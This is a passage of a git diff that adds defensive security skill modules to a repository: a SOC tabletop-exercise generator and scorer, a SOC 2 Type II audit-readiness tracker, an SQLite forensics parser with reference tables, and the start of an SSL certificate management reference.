`dict` - full exercise object with phases and objectives + +### `score_response(category, score)` +Scores participant response in a specific evaluation category. +- **Parameters**: `category` (str) - one of `detection_and_triage`, `containment_decision`, `communication`, `business_continuity`; `score` (int) - 0-100 +- **Returns**: `dict` - category, score, rating, weight + +### `calculate_overall_score(scores)` +Computes weighted average across all scored categories. +- **Parameters**: `scores` (list[dict]) - output from `score_response` +- **Returns**: `float` - overall score + +### `generate_after_action_report(exercise, scores, gaps, strengths)` +Produces the formal after-action report document. +- **Parameters**: `exercise` (dict), `scores` (list), `gaps` (list[dict]), `strengths` (list[str]) +- **Returns**: `dict` - AAR with scores, findings, and next exercise date + +## Scenario Templates + +| Template | Phases | Focus Areas | +|----------|--------|-------------| +| `ransomware` | 6 injects | Detection, containment, ransom decision, recovery | +| `data_breach` | 4 injects | DLP, insider threat, PII notification | +| `supply_chain` | 4 injects | Vendor compromise, lateral movement, credential reset | + +## Scoring Criteria + +| Category | Weight | Rating Thresholds | +|----------|--------|-------------------| +| detection_and_triage | 25% | >=85 Excellent, >=70 Good, >=55 Adequate | +| containment_decision | 25% | >=85 Excellent, >=70 Good, >=55 Adequate | +| communication | 25% | >=85 Excellent, >=70 Good, >=55 Adequate | +| business_continuity | 25% | >=85 Excellent, >=70 Good, >=55 Adequate | + +## Output Schema + +```json +{ + "exercise_id": "TTX-2026-Q1", + "overall_score": "72/100 (Adequate)", + "scores": {"detection_and_triage": "85/100 (Excellent)"}, + "gaps": [{"finding": "...", "risk": "High", "owner": "SOC Manager"}], + "strengths": ["Ransomware indicators correctly identified"] +} +``` diff --git a/skills/performing-soc-tabletop-exercise/scripts/agent.py b/skills/performing-soc-tabletop-exercise/scripts/agent.py new file mode 100644 index 00000000..2f6100d1 --- /dev/null +++ b/skills/performing-soc-tabletop-exercise/scripts/agent.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python3 +"""SOC tabletop exercise management agent with scenario generation and scoring.""" + +import json +import datetime +import random +import hashlib + + +SCENARIO_TEMPLATES = { + "ransomware": { + "title": "Ransomware Attack Scenario", + "phases": [ + {"time": "T+0", "inject": "Shadow copy deletion detected on file server", + "questions": ["Initial assessment?", "What data sources to query?"]}, + {"time": "T+10", "inject": "Mass file encryption with .locked extension across 7 hosts", + "questions": ["Severity assignment?", "Containment actions?", "Notification chain?"]}, + {"time": "T+25", "inject": "Ransom note found, data exfiltration confirmed", + "questions": ["Containment strategy order?", "Executive notification plan?"]}, + {"time": "T+45", "inject": "CFO demands access for SEC filing, media inquiry received", + "questions": ["Business vs security balance?", "Ransom payment recommendation?"]}, + {"time": "T+70", "inject": "Forensics reveal 5-day dwell time, 15GB exfiltrated PII", + "questions": ["Regulatory notifications?", "Law enforcement engagement?"]}, + {"time": "T+90", "inject": "Recovery decision point, CEO briefing in 30 minutes", + "questions": ["Executive briefing content?", "Recovery timeline?"]}, + ], + }, + "data_breach": { + "title": "Data Breach / Insider Threat Scenario", + "phases": [ + {"time": "T+0", "inject": "DLP alert: large data transfer to personal cloud storage", + "questions": ["Initial triage steps?", "Who to involve?"]}, + {"time": "T+15", "inject": "Employee identified is in notice period, accessing HR data", + "questions": ["Containment approach?", "Legal considerations?"]}, + {"time": "T+30", "inject": "Evidence of systematic data collection over 2 weeks", + "questions": ["Forensic preservation?", "HR and Legal coordination?"]}, + {"time": "T+50", "inject": "Customer PII confirmed in exfiltrated data", + "questions": ["Breach notification timeline?", "Regulatory requirements?"]}, + ], + }, + "supply_chain": { + "title": "Supply Chain Compromise Scenario", + "phases": [ + {"time": "T+0", "inject": "Vendor software update contains backdoor, CISA advisory published", + "questions": ["Impact assessment scope?", "Vendor communication?"]}, + {"time": "T+15", "inject": "Affected software deployed on 40% of endpoints", + "questions": ["Isolation strategy?", "Business continuity?"]}, + {"time": "T+35", "inject": "C2 beaconing detected from 12 hosts", + "questions": ["Containment priority order?", "Evidence preservation?"]}, + {"time": "T+55", "inject": "Attacker accessed domain controller via compromised agent", + "questions": ["Credential reset plan?", "Recovery sequence?"]}, + ], + }, +} + +EVALUATION_CRITERIA = { + "detection_and_triage": {"weight": 25, "max_score": 100}, + "containment_decision": {"weight": 25, "max_score": 100}, + "communication": {"weight": 25, "max_score": 100}, + "business_continuity": {"weight": 25, "max_score": 100}, +} + + +def generate_exercise_id(): + now = datetime.datetime.now() + quarter = (now.month - 1) // 3 + 1 + return f"TTX-{now.year}-Q{quarter}" + + +def create_exercise(scenario_type, participants, duration_hours=3): + if scenario_type not in SCENARIO_TEMPLATES: + raise ValueError(f"Unknown scenario: {scenario_type}. Choose from: {list(SCENARIO_TEMPLATES)}") + template = SCENARIO_TEMPLATES[scenario_type] + exercise = { + "exercise_id": generate_exercise_id(), + "title": template["title"], + "date": datetime.datetime.now().isoformat(), + "duration_hours": duration_hours, + "classification": "TLP:AMBER", + "participants": participants, + "phases": template["phases"], + "objectives": [ + "Test detection and triage capabilities", + "Validate escalation procedures", + "Assess cross-functional communication", + "Evaluate containment decision-making", + "Test recovery procedures", + ], + } + return exercise + + +def score_response(category, score): + if category not in EVALUATION_CRITERIA: + raise ValueError(f"Unknown category: {category}") + criteria = EVALUATION_CRITERIA[category] + clamped = max(0, min(score, criteria["max_score"])) + if clamped >= 85: + rating = "Excellent" + elif clamped >= 70: + rating = "Good" + elif clamped >= 55: + rating = "Adequate" + else: + rating = "Needs Improvement" + return {"category": category, "score": clamped, "rating": rating, "weight": criteria["weight"]} + + +def calculate_overall_score(scores): + total_weighted = sum(s["score"] * s["weight"] for s in scores) + total_weight = sum(s["weight"] for s in scores) + return round(total_weighted / total_weight, 1) if total_weight > 0 else 0 + + +def generate_after_action_report(exercise, scores, gaps, strengths): + overall = calculate_overall_score(scores) + if overall >= 85: + overall_rating = "Excellent" + elif overall >= 70: + overall_rating = "Good" + elif overall >= 55: + overall_rating = "Adequate" + else: + overall_rating = "Needs Improvement" + report = { + "exercise_id": exercise["exercise_id"], + "title": exercise["title"], + "date": exercise["date"], + "participants": len(exercise["participants"]), + "duration_hours": exercise["duration_hours"], + "scores": {s["category"]: f"{s['score']}/100 ({s['rating']})" for s in scores}, + "overall_score": f"{overall}/100 ({overall_rating})", + "strengths": strengths, + "gaps": gaps, + "next_exercise": f"TTX-{datetime.datetime.now().year}-Q{((datetime.datetime.now().month - 1) // 3 + 2) % 4 + 1}", + } + return report + + +def print_exercise_summary(exercise): + print(f"TABLETOP EXERCISE: {exercise['title']}") + print("=" * 50) + print(f"ID: {exercise['exercise_id']}") + print(f"Date: {exercise['date']}") + print(f"Duration: {exercise['duration_hours']} hours") + print(f"Participants: {len(exercise['participants'])}") + print(f"Classification:{exercise['classification']}") + print(f"\nPHASES ({len(exercise['phases'])} injects):") + for i, phase in enumerate(exercise["phases"], 1): + print(f" Inject {i} [{phase['time']}]: {phase['inject']}") + for q in phase["questions"]: + print(f" - {q}") + + +def print_report(report): + print(f"\nAFTER-ACTION REPORT - {report['exercise_id']}") + print("=" * 50) + print(f"Overall Score: {report['overall_score']}") + for cat, score in report["scores"].items(): + print(f" {cat}: {score}") + print(f"\nStrengths: {len(report['strengths'])}") + for s in report["strengths"]: + print(f" [+] {s}") + print(f"\nGaps: {len(report['gaps'])}") + for g in report["gaps"]: + print(f" [-] {g['finding']} (Risk: {g['risk']}, Owner: {g['owner']})") + + +if __name__ == "__main__": + participants = [ + {"role": "SOC Tier 1 Analyst", "count": 2}, + {"role": "SOC Tier 2 Analyst", "count": 2}, + {"role": "SOC Manager", "count": 1}, + {"role": "IT Operations Lead", "count": 1}, + {"role": "CISO", "count": 1}, + {"role": "Legal Counsel", "count": 1}, + {"role": "Communications Lead", "count": 1}, + ] + exercise = create_exercise("ransomware", participants) + print_exercise_summary(exercise) + scores = [ + score_response("detection_and_triage", 85), + score_response("containment_decision", 80), + score_response("communication", 60), + score_response("business_continuity", 65), + ] + gaps = [ + {"finding": "No after-hours CISO notification procedure", "risk": "High", "owner": "SOC Manager"}, + {"finding": "Backup recovery untested for 6 months", "risk": "Critical", "owner": "IT Ops Lead"}, + ] + strengths = [ + "Ransomware indicators correctly identified immediately", + "EDR isolation procedure well understood", + ] + report = generate_after_action_report(exercise, scores, gaps, strengths) + print_report(report) diff --git a/skills/performing-soc2-type2-audit-preparation/LICENSE b/skills/performing-soc2-type2-audit-preparation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-soc2-type2-audit-preparation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-soc2-type2-audit-preparation/references/api-reference.md b/skills/performing-soc2-type2-audit-preparation/references/api-reference.md new file mode 100644 index 00000000..21577687 --- /dev/null +++ b/skills/performing-soc2-type2-audit-preparation/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: SOC 2 Type II Audit Preparation + +## Trust Services Criteria (TSC) Categories + +| Category | Series | Required | Focus | +|----------|--------|----------|-------| +| Security | CC1-CC9 | Mandatory | Protection against unauthorized access | +| Availability | A1 | Optional | System uptime and availability | +| Processing Integrity | PI1 | Optional | Accurate and complete processing | +| Confidentiality | C1 | Optional | Confidential data protection | +| Privacy | P1-P8 | Optional | Personal information handling | + +## Common Criteria Series + +| Series | Focus | Key Controls | +|--------|-------|-------------| +| CC6.1 | Logical access | MFA, SSO, RBAC implementation | +| CC6.3 | Access removal | Termination deprovisioning within 24h | +| CC6.6 | Access reviews | Quarterly user access certification | +| CC7.1 | Detection | SIEM monitoring, vulnerability scanning | +| CC7.2 | Incident response | IR plan, tabletop exercises | +| CC8.1 | Change management | Approval workflow, testing, rollback | + +## Evidence Collection Frequencies + +| Frequency | Expected Samples | Examples | +|-----------|-----------------|----------| +| Continuous | 1+ config proof | SSO MFA config, firewall rules | +| Per-event | Population sample | Change tickets, offboarding records | +| Weekly | 52 per year | Vulnerability scan reports | +| Monthly | 12 per year | Access review summaries | +| Quarterly | 4 per year | Access certification campaigns | +| Annual | 1 per year | Penetration test, risk assessment | + +## GRC Platforms + +| Platform | Purpose | +|----------|---------| +| Vanta | Automated SOC 2 evidence collection | +| Drata | Continuous compliance monitoring | +| Secureframe | SOC 2 readiness and evidence management | +| AuditBoard | Enterprise GRC and audit management | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `json` | stdlib | Control matrix and report generation | +| `datetime` | stdlib | Audit period and evidence date tracking | +| `collections` | stdlib | Criteria coverage aggregation | + +## References + +- AICPA TSC 2017: https://www.aicpa-cima.com/topic/audit-assurance/audit-and-assurance-greater-than-soc-2 +- COSO 2013 Framework: https://www.coso.org/guidance-on-ic +- Secureframe SOC 2 Guide: https://secureframe.com/hub/soc-2/trust-services-criteria +- Vanta SOC 2: https://www.vanta.com/collection/soc-2 diff --git a/skills/performing-soc2-type2-audit-preparation/scripts/agent.py b/skills/performing-soc2-type2-audit-preparation/scripts/agent.py new file mode 100644 index 00000000..5f442325 --- /dev/null +++ b/skills/performing-soc2-type2-audit-preparation/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""Agent for SOC 2 Type II audit preparation. + +Tracks Trust Services Criteria (TSC) control mapping, evidence +collection status, control testing results, and generates +readiness reports with gap analysis. +""" + +import json +import sys +from datetime import datetime, timedelta +from collections import defaultdict + + +COMMON_CRITERIA = { + "CC1": "Control Environment", + "CC2": "Communication and Information", + "CC3": "Risk Assessment", + "CC4": "Monitoring Activities", + "CC5": "Control Activities", + "CC6": "Logical and Physical Access", + "CC7": "System Operations", + "CC8": "Change Management", + "CC9": "Risk Mitigation", +} + +TRUST_CATEGORIES = { + "Security": {"required": True, "series": "CC"}, + "Availability": {"required": False, "series": "A"}, + "Processing Integrity": {"required": False, "series": "PI"}, + "Confidentiality": {"required": False, "series": "C"}, + "Privacy": {"required": False, "series": "P"}, +} + + +class SOC2AuditAgent: + """Manages SOC 2 Type II audit preparation lifecycle.""" + + def __init__(self, org_name, audit_start, audit_end, categories=None): + self.org_name = org_name + self.audit_start = audit_start + self.audit_end = audit_end + self.categories = categories or ["Security"] + self.controls = [] + self.evidence = [] + self.gaps = [] + + def add_control(self, control_id, criteria, description, owner, + frequency, evidence_type, status="implemented"): + """Register a control mapped to a TSC criterion.""" + self.controls.append({ + "control_id": control_id, "criteria": criteria, + "description": description, "owner": owner, + "frequency": frequency, "evidence_type": evidence_type, + "status": status, "test_results": [], + }) + + def build_default_control_set(self): + """Load a baseline set of controls for the Common Criteria.""" + defaults = [ + ("CTL-CC6.1-01", "CC6.1", "MFA enforced for all remote access", + "IAM Team", "continuous", "SSO config screenshot"), + ("CTL-CC6.1-02", "CC6.1", "Role-based access control implemented", + "IAM Team", "continuous", "RBAC policy document"), + ("CTL-CC6.3-01", "CC6.3", "Access removed within 24h of termination", + "HR/IT", "per-event", "Offboarding ticket"), + ("CTL-CC7.1-01", "CC7.1", "SIEM alerting for security events", + "SOC", "continuous", "SIEM alert report"), + ("CTL-CC7.2-01", "CC7.2", "Incident response plan tested annually", + "Security", "annual", "IR tabletop exercise report"), + ("CTL-CC8.1-01", "CC8.1", "Change management with approval workflow", + "Engineering", "per-event", "Change ticket with approvals"), + ("CTL-CC6.6-01", "CC6.6", "Quarterly access reviews completed", + "IAM Team", "quarterly", "Access review completion report"), + ("CTL-CC3.1-01", "CC3.1", "Annual risk assessment performed", + "Security", "annual", "Risk assessment document"), + ("CTL-CC7.1-02", "CC7.1", "Vulnerability scanning performed weekly", + "Security", "weekly", "Vulnerability scan report"), + ("CTL-CC5.3-01", "CC5.3", "Annual penetration test performed", + "Security", "annual", "Pentest report"), + ] + for args in defaults: + self.add_control(*args) + return self.controls + + def record_evidence(self, control_id, evidence_date, description, file_ref): + """Record evidence collected for a control.""" + self.evidence.append({ + "control_id": control_id, "date": evidence_date, + "description": description, "file_ref": file_ref, + }) + + def assess_evidence_coverage(self): + """Check evidence coverage for each control over the audit period.""" + coverage = [] + for ctrl in self.controls: + ctrl_evidence = [e for e in self.evidence + if e["control_id"] == ctrl["control_id"]] + freq = ctrl["frequency"] + if freq == "quarterly": + expected = 4 + elif freq == "monthly": + expected = 12 + elif freq == "weekly": + expected = 52 + elif freq == "annual": + expected = 1 + elif freq == "continuous": + expected = 1 + else: + expected = 1 + + collected = len(ctrl_evidence) + gap = expected - collected if collected < expected else 0 + status = "complete" if gap == 0 else "incomplete" + entry = {"control_id": ctrl["control_id"], + "criteria": ctrl["criteria"], + "frequency": freq, + "expected_evidence": expected, + "collected_evidence": collected, + "gap": gap, "status": status} + coverage.append(entry) + if gap > 0: + self.gaps.append(entry) + return coverage + + def generate_readiness_report(self): + """Generate SOC 2 Type II readiness assessment report.""" + coverage = self.assess_evidence_coverage() + criteria_status = defaultdict(lambda: {"total": 0, "complete": 0}) + for c in coverage: + crit = c["criteria"] + criteria_status[crit]["total"] += 1 + if c["status"] == "complete": + criteria_status[crit]["complete"] += 1 + + overall_complete = sum(1 for c in coverage if c["status"] == "complete") + overall_total = len(coverage) + + report = { + "organization": self.org_name, + "audit_period": f"{self.audit_start} to {self.audit_end}", + "categories": self.categories, + "report_date": datetime.utcnow().isoformat(), + "total_controls": overall_total, + "controls_with_complete_evidence": overall_complete, + "readiness_pct": round(overall_complete / max(overall_total, 1) * 100, 1), + "criteria_summary": dict(criteria_status), + "gaps": self.gaps, + "recommendation": ( + "Ready for audit" if not self.gaps + else f"{len(self.gaps)} controls need additional evidence" + ), + } + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + org = sys.argv[1] if len(sys.argv) > 1 else "Acme Corp" + agent = SOC2AuditAgent(org, "2025-01-01", "2025-12-31", + categories=["Security", "Availability"]) + agent.build_default_control_set() + agent.record_evidence("CTL-CC6.1-01", "2025-03-01", + "Okta MFA config screenshot", "evidence/mfa_config.png") + agent.record_evidence("CTL-CC7.1-01", "2025-03-15", + "Splunk alert summary Q1", "evidence/siem_q1.pdf") + agent.generate_readiness_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-sqlite-database-forensics/LICENSE b/skills/performing-sqlite-database-forensics/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-sqlite-database-forensics/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-sqlite-database-forensics/references/api-reference.md b/skills/performing-sqlite-database-forensics/references/api-reference.md new file mode 100644 index 00000000..ad4af0bb --- /dev/null +++ b/skills/performing-sqlite-database-forensics/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: SQLite Database Forensics + +## SQLite File Header (First 100 Bytes) + +| Offset | Size | Description | +|--------|------|-------------| +| 0 | 16 | Magic: `SQLite format 3\000` | +| 16 | 2 | Page size (512-65536; 1 means 65536) | +| 24 | 4 | File change counter | +| 28 | 4 | Database size in pages | +| 32 | 4 | First freelist trunk page | +| 36 | 4 | Total freelist pages | +| 52 | 4 | Text encoding (1=UTF-8, 2=UTF-16le, 3=UTF-16be) | + +## Page Types + +| Type Byte | Description | +|-----------|-------------| +| `0x02` | Index interior (B-tree) | +| `0x05` | Table interior (B-tree) | +| `0x0A` | Index leaf (B-tree) | +| `0x0D` | Table leaf (B-tree) | + +## Timestamp Decoders + +| Format | Epoch | Conversion | +|--------|-------|------------| +| Unix | 1970-01-01 | `datetime.utcfromtimestamp(val)` | +| Chrome/WebKit | 1601-01-01 | `(val / 1e6) - 11644473600` seconds since Unix epoch | +| Mac Absolute | 2001-01-01 | `datetime(2001,1,1) + timedelta(seconds=val)` | +| Mozilla PRTime | 1970-01-01 | `val / 1e6` seconds since Unix epoch | + +## Common Forensic Databases + +| Application | File | Key Tables | +|------------|------|------------| +| Chrome | `History` | `urls`, `visits`, `downloads` | +| Firefox | `places.sqlite` | `moz_places`, `moz_historyvisits` | +| WhatsApp | `msgstore.db` | `messages`, `chat_list` | +| iMessage | `sms.db` | `message`, `handle`, `chat` | +| Android SMS | `mmssms.db` | `sms`, `threads` | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `sqlite3` | stdlib | Query database tables | +| `struct` | stdlib | Parse binary header and page structures | +| `os` / `pathlib` | stdlib | File size and path operations | + +## References + +- SQLite File Format: https://www.sqlite.org/fileformat2.html +- SQLite WAL Format: https://www.sqlite.org/wal.html +- Belkasoft SQLite Analysis: https://belkasoft.com/sqlite-analysis +- Sanderson Forensics SQLite: https://sqliteforensictoolkit.com/ diff --git a/skills/performing-sqlite-database-forensics/scripts/agent.py b/skills/performing-sqlite-database-forensics/scripts/agent.py new file mode 100644 index 00000000..aef5af0f --- /dev/null +++ b/skills/performing-sqlite-database-forensics/scripts/agent.py @@ -0,0 +1,199 @@ +#!/usr/bin/env python3 +"""Agent for SQLite database forensics. + +Parses SQLite file headers, analyzes freelist pages for deleted records, +examines WAL files, decodes browser/app timestamps, and extracts +evidence from common forensic databases. +""" + +import struct +import sqlite3 +import json +import sys +import os +from datetime import datetime, timedelta +from pathlib import Path + + +class SQLiteForensicsAgent: + """Performs forensic analysis on SQLite database files.""" + + def __init__(self, db_path, output_dir="./sqlite_forensics"): + self.db_path = db_path + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def parse_header(self): + """Parse the 100-byte SQLite database header.""" + with open(self.db_path, "rb") as f: + header = f.read(100) + + magic = header[0:16] + if magic != b"SQLite format 3\x00": + return {"error": "Not a valid SQLite database"} + + page_size = struct.unpack(">H", header[16:18])[0] + if page_size == 1: + page_size = 65536 + + return { + "magic": magic[:15].decode("ascii"), + "page_size": page_size, + "write_format": header[18], + "read_format": header[19], + "change_counter": struct.unpack(">I", header[24:28])[0], + "db_size_pages": struct.unpack(">I", header[28:32])[0], + "first_freelist_page": struct.unpack(">I", header[32:36])[0], + "total_freelist_pages": struct.unpack(">I", header[36:40])[0], + "schema_cookie": struct.unpack(">I", header[40:44])[0], + "text_encoding": {1: "UTF-8", 2: "UTF-16le", 3: "UTF-16be"}.get( + struct.unpack(">I", header[52:56])[0], "unknown"), + "db_size_bytes": os.path.getsize(self.db_path), + } + + def analyze_freelist(self): + """Walk freelist trunk chain to identify pages with deleted data.""" + with open(self.db_path, "rb") as f: + header = f.read(100) + page_size = struct.unpack(">H", header[16:18])[0] + if page_size == 1: + page_size = 65536 + first_trunk = struct.unpack(">I", header[32:36])[0] + total_free = struct.unpack(">I", header[36:40])[0] + + if first_trunk == 0: + return {"freelist_pages": 0, "trunk_pages": [], "leaf_pages": []} + + trunk_pages, leaf_pages = [], [] + trunk = first_trunk + while trunk != 0: + offset = (trunk - 1) * page_size + f.seek(offset) + page_data = f.read(page_size) + next_trunk = struct.unpack(">I", page_data[0:4])[0] + leaf_count = struct.unpack(">I", page_data[4:8])[0] + leaves = [] + for i in range(leaf_count): + lp = struct.unpack(">I", page_data[8 + i * 4:12 + i * 4])[0] + leaves.append(lp) + trunk_pages.append({"page": trunk, "leaf_count": leaf_count}) + leaf_pages.extend(leaves) + trunk = next_trunk + + if leaf_pages: + self.findings.append({"type": "freelist_data", + "pages": len(leaf_pages), + "note": "Deleted records may be recoverable"}) + return {"freelist_pages": total_free, + "trunk_pages": trunk_pages, "leaf_pages": leaf_pages} + + def extract_freelist_pages(self): + """Dump raw freelist leaf pages for hex analysis.""" + info = self.analyze_freelist() + with open(self.db_path, "rb") as f: + hdr = f.read(100) + page_size = struct.unpack(">H", hdr[16:18])[0] + if page_size == 1: + page_size = 65536 + out_dir = self.output_dir / "freelist_pages" + out_dir.mkdir(exist_ok=True) + for pn in info["leaf_pages"]: + f.seek((pn - 1) * page_size) + data = f.read(page_size) + (out_dir / f"page_{pn}.bin").write_bytes(data) + return len(info["leaf_pages"]) + + def parse_wal(self): + """Parse WAL file frames for transaction history.""" + wal_path = self.db_path + "-wal" + if not os.path.exists(wal_path): + return {"wal_exists": False} + + with open(wal_path, "rb") as f: + header = f.read(32) + magic = struct.unpack(">I", header[0:4])[0] + page_size = struct.unpack(">I", header[8:12])[0] + checkpoint_seq = struct.unpack(">I", header[12:16])[0] + file_size = os.path.getsize(wal_path) + + frames = [] + offset = 32 + frame_num = 0 + while offset + 24 + page_size <= file_size: + f.seek(offset) + fh = f.read(24) + page_number = struct.unpack(">I", fh[0:4])[0] + frames.append({"frame": frame_num, "page": page_number, + "offset": offset}) + offset += 24 + page_size + frame_num += 1 + + return {"wal_exists": True, "magic": hex(magic), + "page_size": page_size, "checkpoint_seq": checkpoint_seq, + "total_frames": len(frames), "frames": frames[:50]} + + def query_tables(self): + """List all tables and row counts in the database.""" + conn = sqlite3.connect(f"file:{self.db_path}?mode=ro", uri=True) + cursor = conn.cursor() + cursor.execute("SELECT name FROM sqlite_master WHERE type='table'") + tables = [] + for (name,) in cursor.fetchall(): + try: + cursor.execute(f'SELECT COUNT(*) FROM "{name}"') + count = cursor.fetchone()[0] + except sqlite3.OperationalError: + count = -1 + tables.append({"table": name, "row_count": count}) + conn.close() + return tables + + @staticmethod + def decode_timestamp(value, fmt="unix"): + """Decode timestamps from common database formats.""" + try: + if fmt == "unix": + return datetime.utcfromtimestamp(value).isoformat() + elif fmt == "chrome": + epoch_delta = 11644473600 + return datetime.utcfromtimestamp( + (value / 1_000_000) - epoch_delta).isoformat() + elif fmt == "mac_absolute": + mac_epoch = datetime(2001, 1, 1) + return (mac_epoch + timedelta(seconds=value)).isoformat() + elif fmt == "mozilla": + return datetime.utcfromtimestamp(value / 1_000_000).isoformat() + except (OSError, ValueError, OverflowError): + return None + + def generate_report(self): + """Generate comprehensive forensic analysis report.""" + report = { + "database": self.db_path, + "analysis_date": datetime.utcnow().isoformat(), + "header": self.parse_header(), + "tables": self.query_tables(), + "freelist": self.analyze_freelist(), + "wal": self.parse_wal(), + "findings": self.findings, + } + report_path = self.output_dir / "sqlite_forensics_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [output_dir]") + sys.exit(1) + db_path = sys.argv[1] + output_dir = sys.argv[2] if len(sys.argv) > 2 else "./sqlite_forensics" + agent = SQLiteForensicsAgent(db_path, output_dir) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ssl-certificate-lifecycle-management/LICENSE b/skills/performing-ssl-certificate-lifecycle-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ssl-certificate-lifecycle-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ssl-certificate-lifecycle-management/references/api-reference.md b/skills/performing-ssl-certificate-lifecycle-management/references/api-reference.md new file mode 100644 index 00000000..472ad8c6 --- /dev/null +++ b/skills/performing-ssl-certificate-lifecycle-management/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: SSL Certificate Lifecycle Management + +## cryptography Library - CSR Generation + +| Class / Method | Description | +|----------------|-------------| +| `ec.generate_private_key(ec.SECP256R1())` | Generate ECDSA P-256 private key | +| `rsa.generate_private_key(65537, 2048)` | Generate RSA 2048-bit private key | +| `x509.CertificateSigningRequestBuilder()` | Build a PKCS#10 CSR | +| `.subject_name(x509.Name([...]))` | Set CSR subject | +| `.add_extension(SubjectAlternativeName(...))` | Add SAN extension | +| `.sign(private_key, hashes.SHA256())` | Sign CSR with private key | + +## cryptography Library - Certificate Parsing + +| Method | Description | +|--------|-------------| +| `x509.load_pem_x509_certificate(data)` | Parse PEM certificate | +| `x509.load_der_x509_certificate(data)` | Parse DER certificate | +| `cert.subject` | Get subject Distinguished Name | +| `cert.issuer` | Get issuer Distinguished Name | +| `cert.not_valid_after_utc` | Expiration datetime | +| `cert.serial_number` | Certificate serial number | +| `cert.extensions.get_extension_for_oid(OID)` | Get specific extension | + +## Python ssl Module + +| Function | Description | +|----------|-------------| +| `ssl.create_default_context()` | Create SSL context with system CAs | +| `ctx.wrap_socket(sock, server_hostname=host)` | TLS handshake | +| `s.getpeercert(binary_form=True)` | Get DER-encoded server certificate | +| `s.getpeercert()` | Get parsed certificate dict | + +## Certificate Types + +| Type | Validation | Typical Use | +|------|-----------|-------------| +| DV | Domain ownership | Websites, APIs | +| OV | Organization verified | Business applications | +| EV | Full legal verification | E-commerce, banking | +| Wildcard | `*.domain.com` | Multi-subdomain | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `cryptography` | >=41.0 | CSR generation, certificate parsing | +| `ssl` | stdlib | TLS handshake, remote cert fetch | +| `socket` | stdlib | TCP connections | + +## References + +- cryptography docs: https://cryptography.io/en/latest/x509/ +- Let's Encrypt ACME: https://letsencrypt.org/docs/ +- OCSP Stapling: https://datatracker.ietf.org/doc/html/rfc6960 +- Certificate Transparency: https://certificate.transparency.dev/ diff --git 